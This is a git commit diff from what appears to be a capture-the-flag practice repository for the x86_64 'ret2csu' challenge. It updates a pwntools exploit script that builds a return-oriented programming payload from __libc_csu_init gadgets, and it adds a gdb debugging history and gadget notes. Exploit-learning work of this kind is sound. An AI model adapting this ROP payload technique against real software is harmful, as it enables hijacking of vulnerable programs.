diff options
| author | Brett Weiland <brett_weiland@bpcspace.com> | 2020-12-20 17:29:46 -0600 |
|---|---|---|
| committer | Brett Weiland <brett_weiland@bpcspace.com> | 2020-12-20 17:29:46 -0600 |
| commit | 5660ef31669a5917d67b227d37e36e7887a839b0 (patch) | |
| tree | 00f0a87b0aa9c315bdb1132d6fcb62ebc1939853 | |
| parent | 11cbb37694aab501681435375679c49989cdfc91 (diff) | |
modified: x86_64/ret2csu/gadgets
| -rw-r--r-- | x86_64/ret2csu/.gdb_history | 49 | ||||
| -rwxr-xr-x | x86_64/ret2csu/exploit.py | 20 | ||||
| -rw-r--r-- | x86_64/ret2csu/gadgets | 14 |
3 files changed, 72 insertions, 11 deletions
diff --git a/x86_64/ret2csu/.gdb_history b/x86_64/ret2csu/.gdb_history index 7967103..0303e2e 100644 --- a/x86_64/ret2csu/.gdb_history +++ b/x86_64/ret2csu/.gdb_history @@ -54,3 +54,52 @@ stepi info reg rdi continue quit +starti +x 0x00000000004006a3 +x 0x00000000004006a3 +x __libc_csu_init +x __libc_csu_init+99 +quit +break *0x40069a +run +continue +context +stepi +info reg +info reg rbx +info reg rbp +info reg r12 +info reg r13 +info reg r14 +continue +stepi +info reg rbp +info reg rbx +stepi +info reg rdx +stepi +continue +continue +stepi +info reg r12 +info reg rbx +stepi +quit +continue +quit +continue +continue +auit +quit +break *0x40069a +continue +stepi +finro reg rbx +info reg rbx +stepi +info reg r12 +x $r12 +x $r12 + $rbx +x $r12 + ($rbx * 8) +x $r12 + (($rbx - 1) * 8) +quit diff --git a/x86_64/ret2csu/exploit.py b/x86_64/ret2csu/exploit.py index a148687..6394460 100755 --- a/x86_64/ret2csu/exploit.py +++ b/x86_64/ret2csu/exploit.py @@ -1,6 +1,8 @@ #!/usr/bin/env python3 from pwn import * +context.terminal = ['kitty', 'bash', '-c'] + prog = gdb.debug('./ret2csu', gdbscript='b *0x40069a') payload = b'' for c in range(40): @@ -8,18 +10,26 @@ for c in range(40): payload += p64(0x40069a) # __libc_csu_init() -payload += p64(0) -payload += p64(0) -payload += p64(0x601020) + +payload += p64(19) +payload += p64(1) +payload += p64(0x601018) payload += p64(0xdeadbeefdeadbeef) payload += p64(0xcafebabecafebabe) payload += p64(0xd00df00dd00df00d) + payload += p64(0x400680) +payload += p64(1) +payload += p64(2) + +payload += p64(0x00000000004006a3) +payload += p64(0xdeadbeefdeadbeef) + +payload += p64(0x0000000000400510) + -#payload += p64(0x00000000004006a3) -#payload += p64(0xdeadbeefdeadbeef) payload += b"\n" diff --git a/x86_64/ret2csu/gadgets b/x86_64/ret2csu/gadgets index 87a3bb8..f3adc78 100644 --- a/x86_64/ret2csu/gadgets +++ b/x86_64/ret2csu/gadgets @@ -71,16 +71,18 @@ Disassembly of section .fini: calling x86: controlling rdx: -1: 0x00000000004006a3 - rdi : 0xdeadbeefdeadbeef 2: 0x40069a rbx: 0 <-- - rbp: whatever - r12: 0x601020 <-- next location. lets try to make it ret2win - r13: 0xdeadbeef <-- would be nice if we could use a 64 bit value + rbp: 1 + r12: 0xffffffff <-- next location. lets try to make it + r13: whatever I guess <-- would be nice if we could use a 64 bit value r14: 0xcafebabecafebabe r15: 0xd00df00dd00df00d <-- +we can set r12 to [function@plt], and rbx to desired offset. -3: 0x0000000000400510 (ret2win) +0x00000000004004e0 : call rax + +target address: 0x00000000004006a3 +0000000000400510 ret2csu |